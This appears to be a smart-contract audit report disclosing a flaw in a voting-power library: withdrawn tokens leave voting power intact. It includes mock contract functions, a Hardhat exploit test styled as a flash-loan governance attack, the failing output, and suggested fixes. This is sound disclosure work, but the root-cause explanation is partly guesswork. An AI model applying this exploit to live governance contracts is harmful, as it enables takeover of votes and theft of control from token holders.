Summary
The problem stems from the fact that writeCheckpoint()
in VotingPowerLib.sol appends a new checkpoint instead of overwriting the previous one. This allows the user to retain voting power even after withdrawing tokens, which is a critical vulnerability in governance systems.
Vulnerability Details
Instead of replacing the old voting power, it adds a new checkpoint.
getCurrentPower()
likely reads from the last valid checkpoint and does not properly invalidate past ones.
As a result, the system still considers the user as having voting power.
Impact
This can enable flash loan-based governance attacks, where someone borrows tokens, stakes them for voting power, withdraws tokens, but keeps their power.
If this issue isn't fixed, it could allow hostile takeovers of governance proposals.
PoC
Add this to VotingPowerMock.sol
* @notice Simulates user depositing tokens (for testing)
*/
function depositTokens(uint256 amount) external {
require(amount > 0, "Deposit amount must be greater than zero");
console.log("Depositing tokens:", amount);
require(token.transferFrom(msg.sender, address(this), amount), "Token transfer failed");
balances[msg.sender] += amount;
console.log("User balance after deposit:", balances[msg.sender]);
emit TokensDeposited(msg.sender, amount);
}
* @notice Simulates user withdrawing tokens (for testing flash loan)
*/
function withdrawTokens(uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient balance");
console.log("Withdrawing tokens:", amount);
console.log("User balance before withdraw:", balances[msg.sender]);
balances[msg.sender] -= amount;
require(token.transfer(msg.sender, amount), "Token transfer failed");
_state.writeCheckpoint(msg.sender, 0);
console.log("User balance after withdraw:", balances[msg.sender]);
emit TokensWithdrawn(msg.sender, amount);
}
The Test:
import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
describe("VotingPowerLib Flash Loan Exploit Test", () => {
let votingPower, mockToken, mockUser, otherUser;
let PRECISION = 1n * 10n ** 18n;
let MAX_LOCK_DURATION = 4 * 365 * 24 * 60 * 60;
beforeEach(async () => {
const [signer, secondUser] = await ethers.getSigners();
mockUser = signer;
otherUser = secondUser;
const RAACVotingLib = await ethers.getContractFactory("RAACVoting");
const raacVotingLib = await RAACVotingLib.deploy();
await raacVotingLib.waitForDeployment();
const MockToken = await ethers.getContractFactory("ERC20Mock");
mockToken = await MockToken.deploy("MockToken", "MTK");
await mockToken.waitForDeployment();
const VotingPowerMock = await ethers.getContractFactory("VotingPowerMock", {
libraries: {
RAACVoting: await raacVotingLib.getAddress(),
}
});
votingPower = await VotingPowerMock.deploy(await mockToken.getAddress());
await votingPower.waitForDeployment();
await mockToken.mint(mockUser.address, ethers.parseUnits("100000", 18));
});
it("Should reveal voting power inconsistency bug", async () => {
const amount = ethers.parseUnits("1000", 18);
const shortLockTime = (await ethers.provider.getBlock("latest")).timestamp + (2 * 24 * 60 * 60);
console.log("\n Starting flash loan voting attack test...\n");
await mockToken.mint(mockUser.address, amount);
await mockToken.connect(mockUser).approve(await votingPower.getAddress(), amount);
await votingPower.connect(mockUser).depositTokens(amount);
await votingPower.connect(mockUser).calculateAndUpdatePower(
mockUser.address,
amount,
shortLockTime
);
let votingPowerBefore = await votingPower.getCurrentPower(mockUser.address);
console.log(`Voting Power Before Withdrawal: ${votingPowerBefore.toString()}`);
console.log("Withdrawing tokens (simulating flash loan exit)...");
await votingPower.connect(mockUser).withdrawTokens(amount);
let votingPowerAfter = await votingPower.getCurrentPower(mockUser.address);
console.log(` Voting Power After Withdrawal: ${votingPowerAfter.toString()}`);
expect(votingPowerAfter).to.equal(0, "Voting power remains after token withdrawal! Governance attack possible!");
console.log("\n Test complete. If no assertion errors, the bug is fixed.\n");
});
The Output:
Starting flash loan voting attack test...
Depositing tokens: 1000000000000000000000
User balance after deposit: 1000000000000000000000
Voting Power Before Withdrawal: 1369831303906646372
Withdrawing tokens (simulating flash loan exit)...
Withdrawing tokens: 1000000000000000000000
User balance before withdraw: 1000000000000000000000
User balance after withdraw: 0
Voting Power After Withdrawal: 1369823376458650431
1 failing
1) VotingPowerLib Flash Loan Exploit Test
🚨 Should reveal voting power inconsistency bug:
Voting power remains after token withdrawal! Governance attack possible!
+ expected - actual
-1369823376458650431
+0
Initially, this behavior might have seemed intentional, as the system relies on historical voting checkpoints for governance tracking. However, further investigation shows that:
This creates a potential attack vector that allows manipulation of governance power.
If a user can repeatedly deposit, vote, withdraw, and still retain voting power, it undermines the integrity of the governance system.
Tools Used
Hardhat
Recommendations
Ensure getCurrentPower()
reads the latest valid checkpoint.
Modify writeCheckpoint()
to properly override old voting power.
Invalidate past voting power when tokens are withdrawn.
Recalculate slope changes correctly to reflect power decay.